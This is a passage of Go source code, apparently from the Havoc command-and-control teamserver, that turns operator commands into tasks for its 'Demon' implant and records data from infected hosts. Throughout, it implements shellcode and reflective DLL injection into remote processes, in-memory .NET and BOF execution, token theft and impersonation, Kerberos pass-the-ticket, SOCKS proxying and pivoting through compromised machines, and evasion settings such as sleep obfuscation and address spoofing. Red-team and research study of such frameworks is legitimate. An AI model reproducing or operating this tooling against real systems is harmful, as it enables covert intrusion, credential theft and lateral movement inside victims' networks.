errors.New("CoffeeLdr: Arguments not defined") } if Binary, ok := Optional["Binary"].(string); ok { if ObjectFile, err = base64.StdEncoding.DecodeString(Binary); err != nil { logger.Debug("Failed to turn base64 encoded object file into bytes: " + err.Error()) return nil, err } } BofFileId = a.UploadMemFileInChunks(ObjectFile) // a BOF can have an entire PE in its parameters, so chunk them ParamsFileId = a.UploadMemFileInChunks(Parameters) if FunctionName, ok = Optional["FunctionName"].(string); !ok { return nil, errors.New("CoffeeLdr: FunctionName not defined") } if ObjectFlags, ok := Optional["Flags"].(string); ok { switch strings.ToLower(ObjectFlags) { case "non-threaded": Flags = COFFEELDR_FLAG_NON_THREADED break case "threaded": Flags = COFFEELDR_FLAG_THREADED break case "default": Flags = COFFEELDR_FLAG_DEFAULT break default: Flags = 0 } } else { return nil, errors.New("CoffeeLdr: Flags not defined") } job.Data = []interface{}{ FunctionName, BofFileId, ParamsFileId, Flags, } break case COMMAND_ASSEMBLY_INLINE_EXECUTE: var ( binaryDecoded, _ = base64.StdEncoding.DecodeString(Optional["Binary"].(string)) arguments = common.EncodeUTF16(Optional["Arguments"].(string)) NetVersion = common.EncodeUTF16("v4.0.30319") PipePath = common.EncodeUTF16(common.GeneratePipeName(teamserver.GetDotNetPipeTemplate(), a.Info.ProcessPID, a.Info.ProcessTID)) AppDomainName = common.EncodeUTF16("DefaultDomain") MemFileId uint32 ) MemFileId = a.UploadMemFileInChunks(binaryDecoded) job.Data = []interface{}{ PipePath, AppDomainName, NetVersion, MemFileId, arguments, } case COMMAND_ASSEMBLY_LIST_VERSIONS: break case COMMAND_SPAWNDLL: var ( Binary, _ = base64.StdEncoding.DecodeString(Optional["Binary"].(string)) Args, _ = base64.StdEncoding.DecodeString(Optional["Arguments"].(string)) DllReflectiveLdrPath string DllReflectiveLdr []byte ) DllReflectiveLdrPath = utils.GetTeamserverPath() + "/payloads/DllLdr.x64.bin" DllReflectiveLdr, err := os.ReadFile(DllReflectiveLdrPath) if err != nil { return nil, errors.New("Couldn't read content of file: " + err.Error()) } job.Data = []interface{}{ DllReflectiveLdr, Binary, Args, } break case COMMAND_JOB: var ( SubCommand int JobID int err error ) if val, ok := Optional["Command"].(string); ok { switch val { case "list": SubCommand = 0x1 break case "suspend": SubCommand = 0x2 break case "resume": SubCommand = 0x3 break case "kill": SubCommand = 0x4 break } } if val, ok := Optional["Param"].(string); ok { JobID, err = strconv.Atoi(val) if err != nil { return job, errors.New("couldn't convert JobID to int") } } if SubCommand == 0x1 { job.Data = []interface{}{ SubCommand, } } else { job.Data = []interface{}{ SubCommand, JobID, } } break case COMMAND_INJECT_DLL: var ( binaryDecoded, _ = base64.StdEncoding.DecodeString(Optional["Binary"].(string)) TargetPID, _ = strconv.Atoi(Optional["PID"].(string)) Param, _ = Optional["Arguments"].(string) InjectMethode int DllReflectiveLdr []byte DllReflectiveLdrPath string ) DllReflectiveLdrPath = utils.GetTeamserverPath() + "/payloads/DllLdr.x64.bin" DllReflectiveLdr, err := os.ReadFile(DllReflectiveLdrPath) if err != nil { return nil, errors.New("Couldn't read content of file: " + err.Error()) } job.Data = []interface{}{ InjectMethode, // Injection technique syscall TargetPID, DllReflectiveLdr, binaryDecoded, Param, } break case COMMAND_INJECT_SHELLCODE: var ( x64 int Technique int Argument []byte ) if val, ok := Optional["Way"]; ok { if val.(string) == "Inject" { Binary, err := base64.StdEncoding.DecodeString(Optional["Binary"].(string)) if err != nil { return job, err } if _, ok := Optional["Argument"]; ok { args, err := base64.StdEncoding.DecodeString(Optional["Argument"].(string)) if err != nil { return job, err } if len(args) > 0 { Argument = args } } TargetPid, err := strconv.Atoi(Optional["PID"].(string)) if err != nil { return job, err } switch strings.ToLower(Optional["Technique"].(string)) { case "default": Technique = THREAD_METHOD_DEFAULT break case "createremotethread": Technique = THREAD_METHOD_CREATEREMOTETHREAD break case "ntcreatethreadex": Technique = THREAD_METHOD_NTCREATEHREADEX break case "ntqueueapcthread": Technique = THREAD_METHOD_NTQUEUEAPCTHREAD break default: return job, fmt.Errorf("technique \"%v\"", Optional["Technique"].(string)) } x64 = win32.FALSE if Optional["Arch"] == "x64" { x64 = win32.TRUE } job.Data = []interface{}{ INJECT_WAY_INJECT, Technique, x64, Binary, Argument, TargetPid, } } else if val.(string) == "Spawn" { Binary, err := base64.StdEncoding.DecodeString(Optional["Binary"].(string)) if err != nil { return job, err } if _, ok := Optional["Argument"]; ok { args, err := base64.StdEncoding.DecodeString(Optional["Argument"].(string)) if err != nil { return job, err } if len(args) > 0 { Argument = args } } switch strings.ToLower(Optional["Technique"].(string)) { case "default": Technique = THREAD_METHOD_DEFAULT break case "createremotethread": Technique = THREAD_METHOD_CREATEREMOTETHREAD break case "ntcreatethreadex": Technique = THREAD_METHOD_NTCREATEHREADEX break case "ntqueueapcthread": Technique = THREAD_METHOD_NTQUEUEAPCTHREAD break default: return job, fmt.Errorf("technique \"%v\"", Optional["Technique"].(string)) } x64 = win32.FALSE if Optional["Arch"] == "x64" { x64 = win32.TRUE } job.Data = []interface{}{ INJECT_WAY_SPAWN, Technique, x64, Binary, Argument, } } else if val.(string) == "Execute" { Binary, err := base64.StdEncoding.DecodeString(Optional["Binary"].(string)) if err != nil { return job, err } if _, ok := Optional["Argument"]; ok { args, err := base64.StdEncoding.DecodeString(Optional["Argument"].(string)) if err != nil { return job, err } if len(args) > 0 { Argument = args } } switch strings.ToLower(Optional["Technique"].(string)) { case "default": Technique = THREAD_METHOD_DEFAULT break case "createremotethread": Technique = THREAD_METHOD_CREATEREMOTETHREAD break case "ntcreatethreadex": Technique = THREAD_METHOD_NTCREATEHREADEX break case "ntqueueapcthread": Technique = THREAD_METHOD_NTQUEUEAPCTHREAD break default: return job, fmt.Errorf("technique \"%v\"", Optional["Technique"].(string)) } x64 = win32.FALSE if Optional["Arch"] == "x64" { x64 = win32.TRUE } job.Data = []interface{}{ INJECT_WAY_EXECUTE, Technique, x64, Binary, Argument, } } else { return job, errors.New("couldn't identify if injection or spawn is specified") } } else { return job, errors.New("inject option not specified") } break case COMMAND_TOKEN: var ( SubCommand int Arguments any err error ) if val, ok := Optional["SubCommand"].(string); ok { switch val { case "impersonate": SubCommand = 0x1 if val, ok := Optional["Arguments"].(string); ok { Arguments, err = strconv.Atoi(val) if err != nil { return job, errors.New("Failed to convert TokenID to int: " + err.Error()) } job.Data = []interface{}{ SubCommand, Arguments.(int), } } else { return job, errors.New("token arguments not found") } break case "steal": SubCommand = 0x2 if val, ok := Optional["Arguments"].(string); ok { var ( PID int Handle int64 ArrayData []string ) ArrayData = strings.Split(val, ";") PID, err = strconv.Atoi(ArrayData[0]) if err != nil { return job, errors.New("Failed to convert PID to int: " + err.Error()) } Handle, err = strconv.ParseInt(ArrayData[1], 16, 64) if err != nil { return job, errors.New("Failed to convert Handle to int: " + err.Error()) } job.Data = []interface{}{ SubCommand, PID, int(Handle), } } else { return job, errors.New("token arguments not found") } break case "list": SubCommand = 0x3 job.Data = []interface{}{ SubCommand, } break case "privs-list": SubCommand = 0x4 job.Data = []interface{}{ SubCommand, win32.TRUE, } break case "privs-get": SubCommand = 0x4 if PrivName, ok := Optional["Arguments"].(string); ok { job.Data = []interface{}{ SubCommand, win32.FALSE, PrivName, } } else { return job, errors.New("token arguments not found") } break case "make": SubCommand = 0x5 if val, ok = Optional["Arguments"].(string); ok { var ( Domain string User string Password string LogonType int ArrayData []string ) ArrayData = strings.Split(val, ";") if val, err := base64.StdEncoding.DecodeString(ArrayData[0]); err != nil { return job, errors.New("Failed to decode Domain: " + err.Error()) } else { Domain = string(val) } if val, err := base64.StdEncoding.DecodeString(ArrayData[1]); err != nil { return job, errors.New("Failed to decode User: " + err.Error()) } else { User = string(val) } if val, err := base64.StdEncoding.DecodeString(ArrayData[2]); err != nil { return job, errors.New("Failed to decode Password: " + err.Error()) } else { Password = string(val) } LogonType, err = strconv.Atoi(ArrayData[3]) if err != nil { return job, errors.New("Failed to convert LogonType to int: " + err.Error()) } job.Data = []interface{}{ SubCommand, common.EncodeUTF16(Domain), common.EncodeUTF16(User), common.EncodeUTF16(Password), LogonType, } logger.Debug(job.Data) } else { return job, errors.New("token arguments not found") } break case "getuid": SubCommand = 0x6 job.Data = []interface{}{ SubCommand, } break case "revert": SubCommand = 0x7 job.Data = []interface{}{ SubCommand, } break case "remove": SubCommand = 0x8 if val, ok := Optional["Arguments"].(string); ok { Arguments, err = strconv.Atoi(val) if err != nil { return job, errors.New("Failed to convert TokenID to int: " + err.Error()) } job.Data = []interface{}{ SubCommand, Arguments.(int), } } else { return job, errors.New("token arguments not found") } break case "clear": SubCommand = 0x9 job.Data = []interface{}{ SubCommand, } break case "find": SubCommand = 0xa job.Data = []interface{}{ SubCommand, } break } } break case COMMAND_CONFIG: var ( ConfigKey = Optional["ConfigKey"] ConfigVal = Optional["ConfigVal"] ConfigId int Value any ) switch ConfigKey { case "implant.verbose": ConfigId = CONFIG_IMPLANT_VERBOSE if ConfigVal == "true" { Value = 1 } else { Value = 0 } break case "implant.sleep-obf.start-addr": ConfigId = CONFIG_IMPLANT_SPFTHREADSTART var ( Library = strings.Split(ConfigVal.(string), "!")[0] Function = strings.Split(ConfigVal.(string), "!")[1] OffsetStr = strings.Split(ConfigVal.(string), "+")[1] ) OffsetStr = strings.Replace(OffsetStr, "0x", "", -1) Offset, err := strconv.ParseInt(OffsetStr, 16, 64) if err != nil { logger.Error("Failed to convert hex string to int: " + err.Error()) } Function = strings.Split(Function, "+")[0] job.Data = []interface{}{ ConfigId, Library, Function, Offset, } break case "implant.sleep-obf.technique": ConfigId = CONFIG_IMPLANT_SLEEP_TECHNIQUE var Num, err = strconv.Atoi(ConfigVal.(string)) if err != nil { logger.Error("Failed to convert string to num: " + err.Error()) } job.Data = []interface{}{ ConfigId, Num, } case "implant.coffee.veh": ConfigId = CONFIG_IMPLANT_COFFEE_VEH if ConfigVal == "true" { Value = 1 } else { Value = 0 } break case "implant.coffee.threaded": ConfigId = CONFIG_IMPLANT_COFFEE_THREADED if ConfigVal == "true" { Value = 1 } else { Value = 0 } break case "memory.alloc": ConfigId = CONFIG_MEMORY_ALLOC Value, _ = strconv.Atoi(ConfigVal.(string)) break case "memory.execute": ConfigId = CONFIG_MEMORY_EXECUTE Value, _ = strconv.Atoi(ConfigVal.(string)) break case "inject.technique": ConfigId = CONFIG_INJECT_TECHNIQUE Value, _ = strconv.Atoi(ConfigVal.(string)) break case "inject.spoofaddr": ConfigId = CONFIG_INJECT_SPOOFADDR var ( Library = strings.Split(ConfigVal.(string), "!")[0] Function = strings.Split(ConfigVal.(string), "!")[1] OffsetStr = strings.Split(ConfigVal.(string), "+")[1] ) OffsetStr = strings.Replace(OffsetStr, "0x", "", -1) Offset, err := strconv.ParseInt(OffsetStr, 16, 64) if err != nil { logger.Error("Failed to convert hex string to int: " + err.Error()) } Function = strings.Split(Function, "+")[0] job.Data = []interface{}{ ConfigId, Library, Function, Offset, } break case "inject.spawn64": ConfigId = CONFIG_INJECT_SPAWN64 Value = common.EncodeUTF16(ConfigVal.(string)) break case "inject.spawn32": ConfigId = CONFIG_INJECT_SPAWN32 Value = common.EncodeUTF16(ConfigVal.(string)) break case "killdate": ConfigId = CONFIG_KILLDATE var ( KillDate int64 ) if ConfigVal.(string) != "0" { t, err := time.Parse("2006-01-02 15:04:05", ConfigVal.(string)) if err != nil { logger.Error("Failed to parse the kill date: " + err.Error()) return nil, errors.New("Invalid date format, use: 2006-01-02 15:04:05") } else { KillDate = t.Unix() if KillDate < time.Now().Unix() { return nil, errors.New("The date can't be in the past") } KillDate = common.EpochTimeToSystemTime(KillDate) } } else { KillDate = 0 } logger.Debug(fmt.Sprintf("KillDate: %d", KillDate)) job.Data = []interface{}{ ConfigId, KillDate, } break case "workinghours": ConfigId = CONFIG_WORKINGHOURS var ( WorkingHours int32 ) if ConfigVal.(string) != "0" { WorkingHours, err = common.ParseWorkingHours(ConfigVal.(string)) if err != nil { return nil, err } } else { WorkingHours = 0 } logger.Debug(fmt.Sprintf("WorkingHours: %d", WorkingHours)) job.Data = []interface{}{ ConfigId, WorkingHours, } break } if len(job.Data) == 0 { job.Data = []interface{}{ ConfigId, Value, } } break case COMMAND_SCREENSHOT: break case COMMAND_NET: var ( NetCommand int Param string ) if val, ok := Optional["NetCommand"]; ok { NetCommand, err = strconv.Atoi(val.(string)) if err != nil { logger.Debug("Failed to parse net command: " + err.Error()) return nil, err } } else { return nil, errors.New("command::net NetCommand not defined") } if val, ok := Optional["Param"]; ok { Param = val.(string) } else { return nil, errors.New("command::net param not defined") } switch NetCommand { case DEMON_NET_COMMAND_DOMAIN: job.Data = []interface{}{ NetCommand, } break case DEMON_NET_COMMAND_LOGONS: var Target = common.EncodeUTF16(Param) job.Data = []interface{}{ NetCommand, Target, } break case DEMON_NET_COMMAND_SESSIONS: var Target = common.EncodeUTF16(Param) job.Data = []interface{}{ NetCommand, Target, } break case DEMON_NET_COMMAND_COMPUTER: var Target = common.EncodeUTF16(Param) job.Data = []interface{}{ NetCommand, Target, } break case DEMON_NET_COMMAND_DCLIST: var Target = common.EncodeUTF16(Param) job.Data = []interface{}{ NetCommand, Target, } break case DEMON_NET_COMMAND_SHARE: var Target = common.EncodeUTF16(Param) job.Data = []interface{}{ NetCommand, Target, } break case DEMON_NET_COMMAND_LOCALGROUP: var Target = common.EncodeUTF16(Param) job.Data = []interface{}{ NetCommand, Target, } break case DEMON_NET_COMMAND_GROUP: var Target = common.EncodeUTF16(Param) job.Data = []interface{}{ NetCommand, Target, } break case DEMON_NET_COMMAND_USERS: var Target = common.EncodeUTF16(Param) job.Data = []interface{}{ NetCommand, Target, } break default: } break case COMMAND_PIVOT: var ( PivotCommand int Param string ) if val, ok := Optional["Param"]; ok { Param = val.(string) } if val, ok := Optional["Command"]; ok { if val, err := strconv.Atoi(val.(string)); err != nil { logger.Debug("failed to convert pivot command to int: " + err.Error()) return nil, errors.New("failed to convert pivot command to int: " + err.Error()) } else { PivotCommand = val } } switch PivotCommand { case DEMON_PIVOT_LIST: job.Data = []interface{}{ PivotCommand, } case DEMON_PIVOT_SMB_CONNECT: job.Data = []interface{}{ PivotCommand, common.EncodeUTF16(Param), } break case DEMON_PIVOT_SMB_DISCONNECT: var AgentID, err = strconv.ParseInt(Param, 16, 32) if err != nil { return nil, err } job.Data = []interface{}{ PivotCommand, AgentID, } break case DEMON_PIVOT_SMB_COMMAND: job.Data = []interface{}{ PivotCommand, } break } break case COMMAND_TRANSFER: var ( SubCommand string Param string FileID int64 ) if val, ok := Optional["Command"]; ok { SubCommand = val.(string) } else { return job, errors.New("transfer field Command is empty.") } if val, ok := Optional["FileID"]; ok { Param = val.(string) } else { return job, errors.New("transfer field FileID is empty.") } switch SubCommand { case "list": job.Data = []interface{}{ 0x0, } break case "stop": FileID, err = strconv.ParseInt(Param, 16, 32) if err != nil { return nil, err } job.Data = []interface{}{ 0x1, FileID, } break case "resume": FileID, err = strconv.ParseInt(Param, 16, 32) if err != nil { return nil, err } job.Data = []interface{}{ 0x2, FileID, } break case "remove": FileID, err = strconv.ParseInt(Param, 16, 32) if err != nil { return nil, err } job.Data = []interface{}{ 0x3, FileID, } break } break case COMMAND_SOCKET: var ( SubCommand string Param string ) if val, ok := Optional["Command"]; ok { SubCommand = val.(string) } else { return job, errors.New("socket field Command is empty") } if val, ok := Optional["Params"]; ok { Param = val.(string) } else { return job, errors.New("socket field param is empty") } switch SubCommand { case "rportfwd add": var ( Params []string LclAddr = 0 LclPort = 0 FwdAddr = 0 FwdPort = 0 ) /* LclAddr; LclPort; FwdAddr; FwdPort */ Params = strings.Split(Param, ";") if len(Param) < 4 { return nil, fmt.Errorf("rportfwd requires 4 arguments, received %d", len(Params)) } /* Parse local host & port arguments */ LclAddr, err = common.IpStringToInt32(Params[0]) if err != nil { return nil, err } LclPort, err = strconv.Atoi(Params[1]) if err != nil { return nil, err } /* Parse forward host & port arguments */ FwdAddr, err = common.IpStringToInt32(Params[2]) if err != nil { return nil, err } FwdPort, err = strconv.Atoi(Params[3]) if err != nil { return nil, err } job.Data = []interface{}{ SOCKET_COMMAND_RPORTFWD_ADD, LclAddr, LclPort, FwdAddr, FwdPort, } break case "rportfwd list": job.Data = []interface{}{ SOCKET_COMMAND_RPORTFWD_LIST, } break case "rportfwd remove": var SocketID int64 SocketID, err = strconv.ParseInt(Param, 16, 32) if err != nil { return nil, err } job.Data = []interface{}{ SOCKET_COMMAND_RPORTFWD_REMOVE, int(SocketID), } break case "rportfwd clear": job.Data = []interface{}{ SOCKET_COMMAND_RPORTFWD_CLEAR, } break case "socks add": if Param == "" { return nil, fmt.Errorf("socks add requires a port") } var Socks *socks.Socks var PortNum int PortNum, err = strconv.Atoi(Param) if err != nil || PortNum < 1 || PortNum > 65535 { return nil, errors.New("invalid socks5 port") } var found = false a.SocksSvrMtx.Lock() for i := range a.SocksSvr { if a.SocksSvr[i].Addr == Param { /* socks proxy already exists! */ found = true break } } a.SocksSvrMtx.Unlock() if found { return nil, errors.New("a socks5 proxy on that port already exists") } Socks = socks.NewSocks("0.0.0.0:" + Param) if Socks == nil { return nil, errors.New("failed to create a new socks5 instance") } Socks.SetHandler(func(s *socks.Socks, conn net.Conn) { var ( ConnectJob Job NegotiationHeader socks.NegotiationHeader SocksHeader socks.SocksHeader err error SocketId int32 ) // parse all the methods supported by the client NegotiationHeader, err = socks.SubNegotiationClient(conn) if err != nil { logger.Error("Failed to read socks negotiation header: " + err.Error()) return } // we only support NOAUTH, there is no real need to support other types HasNoAuth := false for _, Method := range NegotiationHeader.Methods { if Method == socks.NoAuth { HasNoAuth = true break } } // is NOAUTH is not an option, then bail out if HasNoAuth == false { _, err = conn.Write([]byte{socks.Version, socks.NoMatch}) if err != nil { logger.Error("Failed to send response to socks client: " + err.Error()) } return } // tell the client that we support NOAUTH _, err = conn.Write([]byte{socks.Version, socks.NoAuth}) if err != nil { logger.Error("Failed to send response to socks client: " + err.Error()) return } SocksHeader, err = socks.ReadSocksHeader(conn) if err != nil { logger.Error("Failed to read socks header: " + err.Error()) return } /* check if it's a CONNECT command */ if SocksHeader.Command != socks.ConnectCommand { err = socks.SendCommandNotSupported(conn) if err != nil { logger.Error("Failed to send response to socks client: " + err.Error()) return } return } // NOTE: if you don't want to support IPv6, uncomment this: /* if SocksHeader.ATYP == socks.IPv6 { err = socks.SendAddressTypeNotSupported(conn) if err != nil { logger.Error("Failed to send response to socks client: " + err.Error()) return } return } */ /* generate some random socket id */ SocketId = int32(rand.Uint32()) s.Clients = append(s.Clients, SocketId) a.SocksClientAdd(SocketId, conn, SocksHeader.ATYP, SocksHeader.IpDomain, SocksHeader.Port) /* now parse the host:port and send it to the agent. */ ConnectJob = Job{ Command: COMMAND_SOCKET, Data: []any{ SOCKET_COMMAND_CONNECT, SocketId, SocksHeader.ATYP, SocksHeader.IpDomain, SocksHeader.Port, }, } a.AddJobToQueue(ConnectJob) /* goroutine to read from socks proxy socket and send it to the agent */ go func(SocketId int) { for { /* check if the connection is still up */ if client := a.SocksClientGet(SocketId); client != nil { if !client.Connected { /* if we are still not connected then skip */ continue } if Data, err := a.SocksClientRead(client); err == nil { /* only send the data if there is something... */ if len(Data) > 0 { /* make a new job */ var job = Job{ Command: COMMAND_SOCKET, Data: []any{ SOCKET_COMMAND_WRITE, client.SocketID, Data, }, } /* append the job to the task queue */ a.AddJobToQueue(job) } } else { if err != io.EOF { /* we failed to read from the socks proxy */ logger.Error(fmt.Sprintf("Failed to read from socket %08x: %v", SocketId, err)) a.SocksClientClose(int32(SocketId)) /* make a new job */ var job = Job{ Command: COMMAND_SOCKET, Data: []any{ SOCKET_COMMAND_CLOSE, int32(SocketId), }, } /* append the job to the task queue */ a.AddJobToQueue(job) } break } } else { /* seems like it has been removed. let's exit this routine */ break } } }(int(SocketId)) }) /* TODO: append the socket to a list/array now */ a.SocksSvrMtx.Lock() a.SocksSvr = append(a.SocksSvr, &SocksServer{ Server: Socks, Addr: Param, }) a.SocksSvrMtx.Unlock() go func() { err := Socks.Start() if err != nil { Socks.Failed = true if Message != nil { *Message = map[string]string{ "Type": "Error", "Message": fmt.Sprintf("Failed to start socks proxy: %v", err), "Output": "", } } return } }() if Message != nil { if !Socks.Failed { var( msg string ) if a.Info.SleepDelay == 0 && a.Info.SleepJitter == 0 { msg = fmt.Sprintf("Started socks5 server on port %v", Param) } else { msg = fmt.Sprintf("Started socks5 server on port %v. Consider running: sleep 0", Param) } *Message = map[string]string{ "Type": "Good", "Message": msg, "Output": "", } } } return nil, nil case "socks list": var Output string Output += fmt.Sprintf("\n") Output += fmt.Sprintf(" Port \n") Output += fmt.Sprintf(" ---- \n") a.SocksSvrMtx.Lock() for _, server := range a.SocksSvr { Output += fmt.Sprintf(" %s \n", server.Addr) } a.SocksSvrMtx.Unlock() if Message != nil { *Message = map[string]string{ "Type": "Info", "Message": "Socks proxy server: ", "Output": Output, } } return nil, nil case "socks kill": /* TODO: send a queue of tasks to kill every socks proxy client that uses this proxy */ var found = false a.SocksSvrMtx.Lock() for i := range a.SocksSvr { if a.SocksSvr[i].Addr == Param { /* alright we found it */ found = true /* close the server */ a.SocksSvr[i].Server.Close() /* close every connection that the agent has with this socks proxy */ for client := range a.SocksSvr[i].Server.Clients { /* close the client connection */ a.SocksClientClose(a.SocksSvr[i].Server.Clients[client]) /* make a new job */ var job = Job{ Command: COMMAND_SOCKET, Data: []any{ SOCKET_COMMAND_CLOSE, a.SocksSvr[i].Server.Clients[client], }, } /* append the job to the task queue */ a.AddJobToQueue(job) } /* remove the socks server from the array */ a.SocksSvr = append(a.SocksSvr[:i], a.SocksSvr[i+1:]...) break } } a.SocksSvrMtx.Unlock() if found { if Message != nil { *Message = map[string]string{ "Type": "Info", "Message": "Closed socks proxy " + Param, } } } else { if Message != nil { *Message = map[string]string{ "Type": "Info", "Message": "Failed to find and close socks proxy " + Param, } } } return nil, nil case "socks clear": /* TODO: send a queue of tasks to kill every socks proxy client that uses this proxy */ a.SocksSvrMtx.Lock() for i := range a.SocksSvr { /* close the server */ a.SocksSvr[i].Server.Close() /* close every connection that the agent has with this socks proxy */ for client := range a.SocksSvr[i].Server.Clients { /* close the client connection */ a.SocksClientClose(a.SocksSvr[i].Server.Clients[client]) /* make a new job */ var job = Job{ Command: COMMAND_SOCKET, Data: []any{ SOCKET_COMMAND_CLOSE, a.SocksSvr[i].Server.Clients[client], }, } /* append the job to the task queue */ a.AddJobToQueue(job) } /* remove the socks server from the array */ a.SocksSvr = append(a.SocksSvr[:i], a.SocksSvr[i+1:]...) } a.SocksSvrMtx.Unlock() if Message != nil { *Message = map[string]string{ "Type": "Info", "Message": "Successfully closed all socks proxies " + Param, } } return nil, nil } break case COMMAND_KERBEROS: var ( SubCommand string ) if val, ok := Optional["Command"]; ok { SubCommand = val.(string) } else { return job, errors.New("kerberos field Command is empty") } switch SubCommand { case "luid": job.Data = []interface{}{ KERBEROS_COMMAND_LUID, } break case "klist": var ( luid int64 arg1 string arg2 string ) if val, ok := Optional["Argument1"]; ok { arg1 = val.(string) } else { return job, errors.New("klist field Argument1 is empty") } if arg1 == "/all" { job.Data = []interface{}{ KERBEROS_COMMAND_KLIST, 0, } } else if arg1 == "/luid" { if val, ok := Optional["Argument2"]; ok { arg2 = val.(string) if strings.HasPrefix(arg2, "0x") { luid, err = strconv.ParseInt(arg2[2:], 16, 64) } else { luid, err = strconv.ParseInt(arg2, 16, 64) } if err != nil { return job, errors.New("Invalid Luid value: " + arg2) } } else { return job, errors.New("klist field Argument2 is empty") } job.Data = []interface{}{ KERBEROS_COMMAND_KLIST, 1, int(luid), } } break case "purge": var ( luid int64 arg1 string ) if val, ok := Optional["Argument"]; ok { arg1 = val.(string) } else { return job, errors.New("purge field Argument is empty") } if strings.HasPrefix(arg1, "0x") { luid, err = strconv.ParseInt(arg1[2:], 16, 64) } else { luid, err = strconv.ParseInt(arg1, 16, 64) } if err != nil { return job, errors.New("Invalid Luid value: " + arg1) } job.Data = []interface{}{ KERBEROS_COMMAND_PURGE, int(luid), } break case "ptt": var ( luid int64 arg string ticket []byte ) ticket, err = base64.StdEncoding.DecodeString(Optional["Ticket"].(string)) if err != nil { return job, errors.New("ptt field Ticket is invalid") } if val, ok := Optional["Luid"]; ok { arg = val.(string) } else { return job, errors.New("ptt field Luid is empty") } if strings.HasPrefix(arg, "0x") { luid, err = strconv.ParseInt(arg[2:], 16, 64) } else { luid, err = strconv.ParseInt(arg, 16, 64) } if err != nil { return job, errors.New("Invalid Luid value: " + arg) } job.Data = []interface{}{ KERBEROS_COMMAND_PTT, ticket, int(luid), } break default: } break default: return job, errors.New(fmt.Sprint("Command not found", Command)) } return job, nil } func (a *Agent) TaskDispatch(RequestID uint32, CommandID uint32, Parser *parser.Parser, teamserver TeamServer) { var NameID, _ = strconv.ParseInt(a.NameID, 16, 64) AgentID := int(NameID) /* if the RequestID was not generated by the TS, reject the request */ if a.IsKnownRequestID(teamserver, RequestID, CommandID) == false { logger.Warn(fmt.Sprintf("Agent: %x, CommandID: %d, unknown RequestID: %x. This is either a bug or malicious activity", AgentID, CommandID, RequestID)) return } switch CommandID { case COMMAND_GET_JOB: /* this is most likely never going to reach. but just in case... */ logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_GET_JOB ??", AgentID)) break case COMMAND_EXIT: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var ( ExitMethod = Parser.ParseInt32() Message = make(map[string]string) ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_EXIT, ExitMethod: %d", AgentID, ExitMethod)) if ExitMethod == 1 { Message["Type"] = "Good" Message["Message"] = "Agent has been tasked to cleanup and exit thread. cya..." } else if ExitMethod == 2 { Message["Type"] = "Good" Message["Message"] = "Agent has been tasked to cleanup and exit process. cya..." } teamserver.Died(a) a.RequestCompleted(RequestID) teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_EXIT, Invalid packet", AgentID)) } case COMMAND_KILL_DATE: var ( Message = make(map[string]string) ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_KILL_DATE", AgentID)) Message["Type"] = "Good" Message["Message"] = "Agent has been reached its kill date, tasked to cleanup and exit thread. cya..." teamserver.Died(a) a.RequestCompleted(RequestID) teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message) case COMMAND_CHECKIN: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CHECKIN", AgentID)) var Message = make(map[string]string) Message["Type"] = "Info" Message["Message"] = "Received checkin request" if Parser.Length() >= 32+16 { var ( DemonID int Hostname string DomainName string Username string InternalIP string ProcessName string ProcessPID int ProcessTID int OsVersion []int OsArch int Elevated int BaseAddress int64 ProcessArch int ProcessPPID int SleepDelay int SleepJitter int KillDate int64 WorkingHours int32 ) a.Encryption.AESKey = Parser.ParseAtLeastBytes(32) a.Encryption.AESIv = Parser.ParseAtLeastBytes(16) if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt64, parser.ReadInt32}) { DemonID = Parser.ParseInt32() Hostname = Parser.ParseString() Username = Parser.ParseString() DomainName = Parser.ParseString() InternalIP = Parser.ParseString() ProcessName = Parser.ParseUTF16String() ProcessPID = Parser.ParseInt32() ProcessTID = Parser.ParseInt32() ProcessPPID = Parser.ParseInt32() ProcessArch = Parser.ParseInt32() Elevated = Parser.ParseInt32() BaseAddress = Parser.ParseInt64() OsVersion = []int{Parser.ParseInt32(), Parser.ParseInt32(), Parser.ParseInt32(), Parser.ParseInt32(), Parser.ParseInt32()} OsArch = Parser.ParseInt32() SleepDelay = Parser.ParseInt32() SleepJitter = Parser.ParseInt32() KillDate = Parser.ParseInt64() WorkingHours = int32(Parser.ParseInt32()) a.Active = true a.NameID = fmt.Sprintf("%08x", DemonID) a.Info.FirstCallIn = a.Info.FirstCallIn a.Info.LastCallIn = a.Info.LastCallIn a.Info.Hostname = Hostname a.Info.DomainName = DomainName a.Info.Username = Username a.Info.InternalIP = InternalIP a.Info.SleepDelay = SleepDelay a.Info.SleepJitter = SleepJitter a.Info.KillDate = KillDate a.Info.WorkingHours = WorkingHours // a.Info.ExternalIP = strings.Split(connection.RemoteAddr().String(), ":")[0] // a.Info.Listener = t.Name switch ProcessArch { case PROCESS_ARCH_UNKNOWN: a.Info.ProcessArch = "Unknown" break case PROCESS_ARCH_X64: a.Info.ProcessArch = "x64" break case PROCESS_ARCH_X86: a.Info.ProcessArch = "x86" break case PROCESS_ARCH_IA64: a.Info.ProcessArch = "IA64" break default: a.Info.ProcessArch = "Unknown" break } a.Info.OSVersion = getWindowsVersionString(OsVersion) switch OsArch { case 0: a.Info.OSArch = "x86" case 9: a.Info.OSArch = "x64/AMD64" case 5: a.Info.OSArch = "ARM" case 12: a.Info.OSArch = "ARM64" case 6: a.Info.OSArch = "Itanium-based" default: a.Info.OSArch = "Unknown (" + strconv.Itoa(OsArch) + ")" } a.Info.Elevated = "false" if Elevated == 1 { a.Info.Elevated = "true" } process := strings.Split(ProcessName, "\\") a.Info.ProcessName = process[len(process)-1] a.Info.ProcessPID = ProcessPID a.Info.ProcessTID = ProcessTID a.Info.ProcessPPID = ProcessPPID a.Info.ProcessPath = ProcessName a.Info.BaseAddress = BaseAddress a.SessionDir = logr.LogrInstance.AgentPath 